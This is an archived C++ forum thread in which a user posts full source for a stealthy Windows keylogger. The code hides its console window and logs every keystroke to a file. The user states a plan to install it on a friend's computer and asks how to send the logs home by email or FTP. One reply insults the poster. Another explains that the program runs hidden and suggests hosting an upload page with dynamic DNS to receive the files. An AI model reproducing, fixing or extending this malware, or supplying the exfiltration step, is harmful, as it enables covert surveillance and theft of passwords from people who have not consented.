I'm with Some doubts with this Keylogger Code

Hello, guys, I'm with some doubts about this keylogger.
First of all, let me introduce the algorythmn.
It reads from the Keyboard and save it in a Log File every key the user hits. But it is with some flaws, at least here!

1. I don't know where(Directory) in my computer the File will be saved.
2. When I run the program, it just get "terminated" here in my Pc, I think it isn't working at all, can you test it in ur computers? I use C++ Project in Eclipse.
3. I am planning to install that keylogger in my friend computer, so: How can I send to me the Log Archive via E-Mail using C++ language? Or how can I upload it in a site and I download it here at home?
I think it will need FTP protocol. But I don't know where and how I implement it in my code, I already read a lot of texts of FTP protocols, but I need a solid code that do that for me.

Here goes the Keylogger Code:


#include <stdio.h>
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>

int SaveLogs (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare 'i' from the type 'char'

while (1) // Here we say 'while (1)' execute the code.
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i, "MYLOGS.txt");
}
}
system ("PAUSE");
return 0;
}

int SaveLogs (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
If you're going to be writing malware, the least you could do out of respect for other similarly-inclined a-holes is:

I don't know where(Directory) in my computer the File will be saved.
1. Learn how your own damn computer works.

When I run the program, it just get "terminated" here in my Pc, I think it isn't working at all
2. Learn how to friggin' program.

I am planning to install that keylogger in my friend computer, so: How can I send to me the Log Archive via E-Mail using C++ language? Or how can I upload it in a site and I download it here at home?
3. Once you've completed steps 1 and 2, learn to do your own damn research.

Personally, I have no problem with the writing of malware. What I do object to is to uselessness of this caliber.
That's why I'm registered here in a Cplusplus forum, I am here to LEARN (and HELP) people.
And your comment doesn't say anything at all.

If someone can help me, in at least one of the three doubts I'm having. Thank you!
Last edited on
It's not being terminated, it's in stealth mode. The log file is being saved in the same directory the application is in. I've seen this code before so I know this without even having to look at your code. It seems you need to get a more thorough understanding of your own computer first. Make sure you're running the Windows OS or else the code wont work. Also, it doesn't seem like you are familiar with C++ and you tried copy/pasting code, is this true? To terminate your code, enter the task manager by pressing Ctrl+Shift+Esc, select processes, click on the filename and press end process.
Wow, that helped a lot, RealGiganitris!
Thank you
Yes, I'm not familiar with C++, I know C, but don't know a lot C++.
The doubts number 1 and 2 are solved. Now, I'm searching how to send to me the code by email.
If anybody help me, thanks! If somehow I solve the Third Doubt, I'll tell it in here.
If you really want to create malware for whatever reason, I should let you know again that I have seen this code before along with many other people. If your "friend" has any form of anti malware, your program will get deleted. The best thing you could to for sending files to yourself would be to launch your own web page. This web page must be hosted on your machine or else things might go sour with others. You should sign up for noip.com to get a url, this way if your ip ever changes then you can just modify the entry on their site. You also get the liberty of running only one server instead of two. You must learn PHP to some degree in order to make the upload script. You should take a look at this link.

http://bytes.com/topic/c/answers/868412-c-client-upload-php-server

Please just be doing this for fun and that you don't damage someone's property.
Last edited on
Topic archived. No new replies allowed.